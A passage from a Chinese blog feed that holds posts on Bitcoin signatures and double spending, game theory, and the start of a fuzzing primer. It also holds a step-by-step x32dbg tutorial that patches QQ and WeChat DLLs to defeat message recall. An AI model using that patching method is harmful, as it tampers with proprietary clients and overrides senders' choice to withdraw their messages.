。在这种情况下,就会把难度n设置为66。</p></blockquote><hr><h1 id="第二节"><a href="#第二节" class="headerlink" title="第二节"></a>第二节</h1><p>接上一节区块链和比特币的基本介绍,我们知道比特币的所有记录都是公开而且匿名的。这样比特币会面临几个问题:如何去解决伪造记录、篡改记录以及双重支付的问题。</p><h2 id="身份认证"><a href="#身份认证" class="headerlink" title="身份认证"></a>身份认证</h2><blockquote><p>在传统认证方式中,通常会使用人脸认证、签名认证、指纹认证等方式,但是在电子支付系统上都不能实现,因为上述方式可以被拷贝之后伪造。</p></blockquote><h3 id="电子签名"><a href="#电子签名" class="headerlink" title="电子签名"></a>电子签名</h3><p>电子签名技术采用了目前广泛使用的非对称加密方式 <img src="https://img-blog.csdnimg.cn/20200412191558459.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="电子签名技术"></p><h2 id="如何解决伪造记录"><a href="#如何解决伪造记录" class="headerlink" title="如何解决伪造记录"></a>如何解决伪造记录</h2><p>流程图:<br><img src="https://img-blog.csdnimg.cn/20200412211725241.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="防止伪造记录"><br>解决伪造记录的关键在于使用<strong>非对称加密方式</strong></p><p>A给B10个比特币这一事件,通过hash运算得到摘要之后,用私钥对摘要进行加密得到密码。由于私钥的唯一性,摘要具有唯一性。通过广播的方式,A传递出去的消息有:A给B10个比特币,A的公钥,A的密码。<br>我们可以假设,A给B10个比特币的消息是假的,并根据此hash运算得到了摘要1。而利用A的公钥解密密码得到了摘要2,此时摘要1和摘要2不同,显然”A给B10个比特币”是伪造的消息。</p><h2 id="双重支付问题"><a href="#双重支付问题" class="headerlink" title="双重支付问题"></a>双重支付问题</h2><h3 id="余额检查-追溯法"><a href="#余额检查-追溯法" class="headerlink" title="余额检查(追溯法)"></a>余额检查(追溯法)</h3><blockquote><p>每个人在使用区块链比特币的时候,都会下载从第一个区块到目前为止的所有信息。<br>比如A广播了数据”A支付给B10个比特币”,其他人就会进行余额检查,检查A是否有这个支付能力,如果没有这个支付能力,那么其他人就不会去确认A广播的这条信息。当”A支付给B10个比特币”这个信息被打包到一个新的块里面,此时这条信息被确认。<br><img src="https://img-blog.csdnimg.cn/2020041221464217.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="消息确认"></p></blockquote><h3 id="双重支付"><a href="#双重支付" class="headerlink" title="双重支付"></a>双重支付</h3><blockquote><p>当双重支付发生时,比如A只有10个比特币,但同时广播了消息”A给B10个比特币”(记为消息b)和”A给C10个比特币”(记为消息c),群体D先接收到消息b,则不会去确认消息c。同理,群体E先接收到消息c,则不会去确认消息b。这时候就要看群体D和E中谁先能计算出那道数学题,先挖出矿的可以把自己确认的消息写到新块中,而另一条消息则失效。<br><img src="https://img-blog.csdnimg.cn/20200412215749444.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="如何防止双重支付"></p></blockquote><h2 id="防止篡改问题"><a href="#防止篡改问题" class="headerlink" title="防止篡改问题"></a>防止篡改问题</h2><h3 id="最长链原则"><a href="#最长链原则" class="headerlink" title="最长链原则"></a>最长链原则</h3><blockquote><p>当区块链出现分支的情况下,即有不止一个人在近乎相同时间内挖出了下一个块,链的走向出现了分支,一般而言使用最长链原则进行选择。假设用户群体A选择上链继续挖矿,用户群体B选择下链继续挖矿。如果群体A先挖出下一个矿,上链新块,则群体B转到新块后继续挖矿。通常情况下,下链被废弃。<br><img src="https://img-blog.csdnimg.cn/20200412221257165.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="最长链原则"></p></blockquote><h3 id="如何防止篡改"><a href="#如何防止篡改" class="headerlink" title="如何防止篡改"></a>如何防止篡改</h3><blockquote><p>由最长链原则我们可以知道,如果有人想篡改区块链上某一区块的信息,他就要在该区块处引出一条分支,并且打造一条新链使得新链超过原链长度。即他一人控制的矿机算力要超过全世界剩余的矿机算力,显然很难实现。<br><img src="https://img-blog.csdnimg.cn/20200412222625409.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="篡改信息"></p></blockquote><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> Bitcoin </category>
<category> Block Chain </category>
</categories>
<tags>
<tag> Block Chain </tag>
</tags>
</entry>
<entry>
<title>博弈论 | 三姬分金与囚徒困境</title>
<link href="/2020/04/11/game/"/>
<url>/2020/04/11/game/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>昨天在刷李永乐老师视频的时候看到了一个“三姬分金”的问题,然后引到了博弈论。说实话,从这个老师的课程中深深的感受到了知识的魅力。就想着写一个专栏,学习一下博弈论的有关知识。</p><p><strong>什么是博弈</strong></p><blockquote><p>通俗地讲, 博弈就是指游戏中的一种选择策略的研究。 博弈的英文为“game”, 我们一般将它翻译成“游戏”。 而在英语中, “game”的意义不同于汉语中的游戏, 它是人们遵循一定规则的活动, 进行活动的人的目的是让自己“赢”。 我们在和对手竞赛或游戏的时候怎样使自己赢呢? 这不但要考虑自己的策略, 还要考虑其他人的选择。 生活中博弈的案例很多, 只要涉及人群的互动以及选择决策, 就有博弈。<br>一个人做选择时必须考虑其他人的选择或是事务的变化, 而其他人做选择时也会考虑此人的选择。 此人的结果——博弈论称之为支付, 不仅取决于他的行动选择——博弈论称之为策略选择, 同时取决于其他人的策略选择。 这样, 此人和其他人或事务就构成一个博弈。</p></blockquote><p><img src="https://img-blog.csdnimg.cn/20200411201405346.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="博弈"></p><h2 id="三姬分金问题"><a href="#三姬分金问题" class="headerlink" title="三姬分金问题"></a>三姬分金问题</h2><h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><blockquote><p>当年,韩非子到一个大将军处索要军饷,看见大将军的三个妃子在玩分金币的游戏。于是韩非子提议,玩点更刺激的。</p></blockquote><h3 id="游戏规则"><a href="#游戏规则" class="headerlink" title="游戏规则"></a>游戏规则</h3><blockquote><p>现有A、B、C三名美姬,分100枚金币。从A开始,每个人依次提议分配方案。如果提议赞同人数不超过50%,则提议人被处死。反之则提议通过。A、B、C的顺序通过抽签来决定。<br>此外,有两点前提:<br>1.每个人都是聪明的,即她知道每个提议带来的后果,并追求自己利益的最大化。<br>2.每个人都是邪恶的,在她追求自己利益最大化的同时,要尽量多的杀死其余美姬。</p></blockquote><h3 id="思维实验0"><a href="#思维实验0" class="headerlink" title="思维实验0"></a>思维实验0</h3><p>如果游戏按照规则进行,那么结果会是怎样?<br>(1)我们不妨先假设A的提议被B、C否决:<br>美姬A被处死,到美姬B提议,根据规则”赞同人数不超过50%则提议人被处死”,故无论美姬B提议什么,美姬C都不会同意(即使B提议金币全给C也是如此)。美姬B这么聪明当然也考虑到了这个问题。<br>(2)美姬A提议必然通过:<br>由(1)中分析,美姬A的提议必然会被B同意(B不同意就死),所以A可以肆无忌惮的提议分配方案,故A提出了(100,0,0)的分配方案,实现了自己利益最大化。</p><p><strong>在思维实验0中,美姬A具有先手优势。</strong></p><hr><h3 id="思维实验1"><a href="#思维实验1" class="headerlink" title="思维实验1"></a>思维实验1</h3><p>假设在美姬A前面加一个美姬X,其他规则不变,结果会如何?<br>(1)不妨先假设美姬X的提议被否决:<br>美姬X被处死,到美姬A提议,参考思维实验0可知,美姬A还是提出(100,0,0)的提议,且必定被通过。<br>(2)美姬X提出方案对B,C有利则会被通过:<br>美姬X考虑到如果由美姬A提议,则B,C什么都得不到。故美姬X决定拉拢美姬B,C。她提出了(98,0,1,1)的分配方案。美姬A肯定不同意(但是没有用),美姬B,C一看还能得到1枚金币,于是通过了美姬X的提议方案。<br><strong>在思维实验1中,美姬X具有先手优势,即领导群体,美姬B、C属于基层群体,是领导群体拉拢的对象。在有限次的实验中,拿到先手权意味着锁定胜局。而且只要条件规则稳定,结果是一定的,这样的局面叫做纳什均衡</strong></p><hr><h3 id="思维实验2"><a href="#思维实验2" class="headerlink" title="思维实验2"></a>思维实验2</h3><p><strong>共谋</strong></p><blockquote><p>在思维实验1的背景下,美姬A,B,C觉得不公平,还想实现利益最大化。于是A提议:否定美姬X的提议,A,B,C各分33枚金币,剩下一枚丢进海里。这个过程叫做”共谋”。</p></blockquote><p>那么在实验的过程中,如何保证在杀掉美姬X之后,美姬A信守承诺均分金币呢?<br>A,B,C之间需要制定一个契约,规定B,C帮助A杀掉X之后,A能信守承诺均分金币。此外,为了防止A撕毁契约,还需要执行和守护契约的团体,通过分权的方式使其不能串通。执行和守护契约的团体的建立权在B,C手中,即实现了”民主”。</p><hr><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>三姬分金这个故事很好的解释了社会中的一些现象:古代统治者为何需要拉拢底层人民、为何大副都想当船长…</p><blockquote><p>《1984》里面写到:有史以来,大概自从新石器时代结束以来,世上就有三种人,即上等人、中等人、下等人。 这三种人的目标是完全不可调和的。上等人的目标是要保持他们的地位。中等人的目标是要同高等人交换地位。下等人的特点始终是,他们劳苦之余无暇旁顾,偶而才顾到日常生活以外的事,因此他们如果有目标的话,无非是取消一切差别,建立一个人人平等的社会。</p></blockquote><hr><h2 id="囚徒困境问题"><a href="#囚徒困境问题" class="headerlink" title="囚徒困境问题"></a>囚徒困境问题</h2><h3 id="问题简介"><a href="#问题简介" class="headerlink" title="问题简介"></a>问题简介</h3><p><a href="https://wiki.mbalib.com/wiki/%E5%9B%9A%E5%BE%92%E5%9B%B0%E5%A2%83" target="_blank" rel="noopener">囚徒困境</a>是博弈论的<a href="https://wiki.mbalib.com/wiki/%E9%9D%9E%E9%9B%B6%E5%92%8C%E5%8D%9A%E5%BC%88" target="_blank" rel="noopener">非零和博弈</a>中具代表性的例子,反映个人最佳选择并非团体最佳选择。虽然困境本身只属模型性质,但现实中的价格竞争、环境保护等方面,也会频繁出现类似情况。</p><hr><h3 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h3><p>1950年,由就职于兰德公司的梅里尔·弗拉德(Merrill Flood)和梅尔文·德雷希尔(Melvin Dresher)拟定出相关困境的理论,后来由顾问阿尔伯特·塔克(Albert Tucker)以囚徒方式阐述,并命名为“囚徒困境”。经典的囚徒困境如下:</p><blockquote><p>警方逮捕甲、乙两名嫌疑犯,但没有足够证据指控二人入罪。于是警方分开囚禁嫌疑犯,分别和二人见面,并向双方提供以下相同的选择:</p></blockquote><blockquote><p>若一人认罪并作证检举对方(相关术语称“背叛”对方),而对方保持沉默,此人将即时获释,沉默者将判监10年。<br><img src="https://img-blog.csdnimg.cn/20200411203310243.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="一方背叛"></p></blockquote><blockquote><p>若二人都保持沉默(相关术语称互相“合作”),则二人同样判监一年。<br><img src="https://img-blog.csdnimg.cn/20200411203250576.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="双方背叛/双方合作"></p></blockquote><blockquote><p>若二人都互相检举(互相“背叛”),则二人同样判监8年。</p></blockquote><p><strong>表格描述</strong></p><table><thead><tr><th>囚徒行为</th><th>甲沉默(合作)</th><th>甲认罪(背叛)</th></tr></thead><tbody><tr><td>乙沉默(合作)</td><td>二人同服刑1年</td><td>甲当即释放,乙服刑10年</td></tr><tr><td>乙认罪(背叛)</td><td>乙当即释放,甲服刑10年</td><td>二人同服刑8年</td></tr></tbody></table><p>如同博弈论的其他例证,囚徒困境假定每个参与者(即“囚徒”)都是利己的,即都寻求最大自身利益,而不关心另一参与者的利益。参与者某一策略所得利益,如果在任何情况下都比其他策略要低的话,此策略称为“严格劣势策略”,理性的参与者绝不会选择。另外,没有任何其他力量干预个人决策,参与者可完全按照自己意愿选择策略。</p><hr><h3 id="思维实验0-1"><a href="#思维实验0-1" class="headerlink" title="思维实验0"></a>思维实验0</h3><p>(1)从个体来看,囚徒的选择如下:</p><ul><li>如果对方选择沉默,背叛可以使我获释</li><li>如果对方选择背叛,背叛可以使我的刑期减少</li></ul><p><strong>即从个体角度出发,背叛无疑是最优选择。</strong> 这场博弈中唯一可能达到的纳什均衡,就是双方参与者都背叛对方,结果二人同样服刑8年。</p><p>(2)从团体角度来看,如果两个参与者都合作保持沉默,两人都只会被判刑一年,总体利益更高,结果也比两人背叛对方、判刑8年的情况较佳。但根据以上假设,二人均为理性的个人,且只追求自己个人利益。均衡状况会是两个囚徒都选择背叛,结果二人判决均比合作为高,总体利益较合作为低。这就是“困境”所在。例子漂亮地证明了:非零和博弈中,<a href="https://wiki.mbalib.com/wiki/%E5%B8%95%E7%B4%AF%E6%89%98%E6%9C%80%E4%BC%98" target="_blank" rel="noopener">帕累托最优</a>和<a href="https://wiki.mbalib.com/wiki/%E7%BA%B3%E4%BB%80%E5%9D%87%E8%A1%A1" target="_blank" rel="noopener">纳什均衡</a>是相冲突的。</p><hr><h3 id="思维实验1-1"><a href="#思维实验1-1" class="headerlink" title="思维实验1"></a>思维实验1</h3><p><strong>当囚徒困境多次重复发生</strong></p><blockquote><p>单次发生的囚徒困境,和多次重复的囚徒困境结果不会一样。在重复的囚徒困境中,博弈被反复地进行。因而每个参与者都有机会去“惩罚”另一个参与者前一回合的不合作行为。这时,合作可能会作为均衡的结果出现。欺骗的动机这时可能被受到惩罚的威胁所克服,从而可能导向一个较好的、合作的结果。作为反复接近无限的数量,纳什均衡趋向于帕累托最优。</p></blockquote><hr><h3 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h3><p><strong>囚徒困境主旨</strong></p><blockquote><p>囚徒困境的主旨为,囚徒们虽然彼此合作,坚决不坦白,可为全体带来最佳利益(累计和最少刑期),但在资讯不明的情况下,因为出卖同伙可为自己带来利益(缩短刑期)。同伙坦白可为他带来利益,因此彼此出卖虽违反最佳共同利益,反而是自己最大利益所在。但实际上,执法机构不可能设立如此情境来诱使所有囚徒招供,因为囚徒们必须考虑刑期以外之因素(出卖同伙会受到报复等),而无法完全以执法者所设立之利益(刑期)作考量。</p></blockquote><p><strong>囚徒困境的应用</strong></p><blockquote><p>许多行业的价格竞争都是典型的囚徒困境现象,每家企业都以对方为敌手,只关心自己的利益。在价格博弈中,只要以对方为敌手,那么不管对方的决策怎样,自己总是以为采取低价策略会占便宜,这就促使双方都采取低价策略。如可口可乐公司和百事可乐公司之间的竞争、各大航空公司之间的价格竞争等等。</p></blockquote><blockquote><p>在国内的家电大战中,虽然不是两个对手之间的博弈,但由于在众多对手当中每一方的市场份额都很大,每一个主体人的行为后果受对手行为的影响都很大,因此,其情景大概也是如此。如果清楚这种前景,双方勾结或合作起来,都制定比较高的价格,那么双方都可以因为避免价格大战而获得较高的利润。但是往往这些联盟处于利益驱动的“囚徒困境”,双赢也就成泡影。五花八门的价格联盟总是非常短命,道理就在这里。</p></blockquote><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> 博弈论 </category>
</categories>
<tags>
<tag> 三姬分金 </tag>
<tag> 囚徒困境 </tag>
</tags>
</entry>
<entry>
<title>授人以鱼不如授人以渔 | QQ、微信防撤回详解</title>
<link href="/2020/04/03/revoke/"/>
<url>/2020/04/03/revoke/</url>
<content type="html"><![CDATA[<blockquote><p>前言:哦吼?暗恋的女生/男生发消息又撤回了?表白没看到怎么办?!今天整理一下PC端QQ、微信防撤回的具体步骤,自己修改dll文件,再也不用担心网络上的dll被植入后门啦!<br>P.S. 本教程理论上适合目前更新的所有版本QQ/Wechat,但手法有些粗糙。</p></blockquote><p><img src="https://img-blog.csdnimg.cn/2020040310205548.jpg" alt=""></p><h2 id="工具准备"><a href="#工具准备" class="headerlink" title="工具准备"></a>工具准备</h2><ol><li>x32dbg</li><li>PC端Wechat/QQ<h2 id="QQ防撤回"><a href="#QQ防撤回" class="headerlink" title="QQ防撤回"></a>QQ防撤回</h2><h3 id="QQ版本"><a href="#QQ版本" class="headerlink" title="QQ版本"></a>QQ版本</h3><img src="https://img-blog.csdnimg.cn/20200403102452473.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="QQ9.2.3"><h3 id="破解过程"><a href="#破解过程" class="headerlink" title="破解过程"></a>破解过程</h3>1.<strong>运行QQ,打开x32dbg,附加到进程QQ.exe</strong><br><img src="https://img-blog.csdnimg.cn/20200403103639294.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="附加程序"><br>2.<strong>在符号面板搜索im.dll,来到im.dll模块(该模块是负责QQ个人消息和群消息接收的模块)</strong><br><img src="https://img-blog.csdnimg.cn/20200403103808379.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="搜索im.dll"><br><img src="https://img-blog.csdnimg.cn/20200403104650553.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="im.dll模块界面"><br>3.<strong>搜索关键字符串:bytes_reserved 和 bytes_userdef</strong><br>“bytes_reserved”字符串负责个人信息的撤回,“bytes_userdef”字符串负责群消息的撤回。<br><img src="https://img-blog.csdnimg.cn/2020040310483365.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt=""><br><img src="https://img-blog.csdnimg.cn/20200403104916254.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="搜索bytes_reserved字符串"><br>双击进入第三个字符串,在入口的上一条地址处,修改汇编指令,让其直接到达test eax,eax命令处,这样就避免了消息的撤回。<br><img src="https://img-blog.csdnimg.cn/20200403105030615.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="注意是修改push ecx"><br><img src="https://img-blog.csdnimg.cn/20200403105137382.jpg#pic_center" alt="修改完成"><br><img src="https://img-blog.csdnimg.cn/2020040310520227.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="搜索bytes_userdef字符串"><br><img src="https://img-blog.csdnimg.cn/20200403105236880.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="bytes_userdef界面"><br><img src="https://img-blog.csdnimg.cn/20200403105352664.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="修改push指令为jmp"><br>注意,此处是直接从push im.7A9D7C68处跳转到 test eax,eax<br><img src="https://img-blog.csdnimg.cn/20200403105520279.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="完成修改"><ol start="4"><li><strong>保存补丁并导出IM.dll文件进行替换</strong><br><img src="https://img-blog.csdnimg.cn/20200403105714928.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="生成补丁"><br><img src="https://img-blog.csdnimg.cn/20200403105738387.jpg#pic_center" alt="导出为IM.dll"></li><li><strong>成果图</strong><br><img src="https://img-blog.csdnimg.cn/20200403110152765.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="防撤回成功"><h3 id="过程总结"><a href="#过程总结" class="headerlink" title="过程总结"></a>过程总结</h3>QQ消息撤回的机制并没有进行很好的防御,主要原因在于已经接受到的消息,是储存在本地的,而消息撤回,则是调用函数从本地撤回,只要阻止这个机制就能实现消息的防撤回。由于时间原因,过程中的部分函数的原理没有深究,准备后期再来分析一下,要是能做出一个一体化的exe文件就更好了。总体来说,这个防撤回做的还是很有意思,在过程中能学到很多东西。<h2 id="微信防撤回"><a href="#微信防撤回" class="headerlink" title="微信防撤回"></a>微信防撤回</h2><h3 id="微信版本"><a href="#微信版本" class="headerlink" title="微信版本"></a>微信版本</h3><img src="https://img-blog.csdnimg.cn/20200403110313354.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="微信 2.8.0.121"><h3 id="破解过程-1"><a href="#破解过程-1" class="headerlink" title="破解过程"></a>破解过程</h3></li><li><strong>启动微信,打开x32dbg,附加到微信进程。</strong><br>附加到wechat.exe后,在符号面板找到wechatwin.dll模块(该模块负责微信消息的撤回)<br><img src="https://img-blog.csdnimg.cn/20200403110537601.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="找到wechatwin.dll"></li><li><strong>在wechatwin.dll模块中寻找revokemsg字符串</strong><br><img src="https://img-blog.csdnimg.cn/20200403110823983.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="wechatwin.dll模块"><br>“revokemsg”出现次数可能较多,要选择在<strong>ChatMgr::RefreshUnReadCountByRevoke</strong>下面的第一个(L “< revokemsg >”不算)<br><img src="https://img-blog.csdnimg.cn/20200403110857557.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="搜索revoke,找到revokemsg字符串"></li><li><strong>点击跳转之后把当前位置下的第一个call指令nop掉</strong>(该call指令用于撤回消息)<br><img src="https://img-blog.csdnimg.cn/2020040311210256.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="nop 目标指令"><br><img src="https://img-blog.csdnimg.cn/20200403112143901.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="nop完成"></li><li><strong>保存补丁文件、导出WeChatWin.dll文件并替换原安装目录下的文件</strong><br><img src="https://img-blog.csdnimg.cn/20200403112300717.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="保存补丁"></li><li><strong>成果图</strong><br><img src="https://img-blog.csdnimg.cn/20200403112358499.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="破解成功"><h3 id="过程总结-1"><a href="#过程总结-1" class="headerlink" title="过程总结"></a>过程总结</h3>微信消息的撤回破解,重点还是在WechatWin.dll文件中,需要通过逆向找到dll文件中执行相关命令的函数,并nop掉(和上述QQ消息防撤回大同小异,一个是jmp跳转,一个是nop)。直接nop的手法还是显得有些粗糙。在查找资料的过程中,看到有些大佬是使用hook技术实现的消息防撤回机制,大感羡慕…在以后的学习过程中,想学习一些hook技术,在微信消息撤回时触发hook机制,以一个对话框的形式展示撤回内容。</li></ol></li></ol><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> crack </category>
</categories>
<tags>
<tag> QQ </tag>
<tag> Wechat </tag>
</tags>
</entry>
<entry>
<title>漏洞挖掘 | 简单高效的模糊测试Fuzzing</title>
<link href="/2020/03/31/fuzzing/"/>
<url>/2020/03/31/fuzzing/</url>
<content type="html"><![CDATA[<blockquote><p>摘要:Fuzzing是一种通过构造输入来发现软件中的漏洞的一个简单高效的模糊测试方法。</p></blockquote><blockquote><p>前言:打CTF的时候就听说过几次fuzzing方法,大概知道是一种检测漏洞的方法,一直没了解过,今天抽个时间学习了一下。</p></blockquote><h2 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h2><p>Fuzzing方法是指通过构造测试输入,对软件进行大量测试来发现软件中的漏洞的一种模糊测试方式。在现实的漏洞挖掘中,fuzzing因其简单高效的优势,成为非常主流的漏洞挖掘方法。</p><blockquote><p>模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。其核心思想是将自动或半自动生成的随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion)失败,以发现可能的程序错误,比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。<br>——来自Wikipedia</p></blockquote><h2 id="用途"><a href="#用途" class="headerlink" title="用途"></a>用途</h2><p>模糊测试通常被用于<strong>黑盒测试</strong>。其回报率通常比较高。当然,模糊测试只是相当于对系统的行为做了一个随机采样,所以在许多情况下通过了模糊测试只是说明软件可以处理异常以避免崩溃,而不能说明该软件的行为完全正确。这表明模糊测试更多是一种对整体质量的保证,并不能替代全面的测试或者形式化方法。作为一种粗略的可靠性度量方法,模糊测试可以提示程序哪些部件需要特殊的注意。对于这些部件可以进一步使用代码审计,静态分析以及代码重写。</p><h2 id="技术"><a href="#技术" class="headerlink" 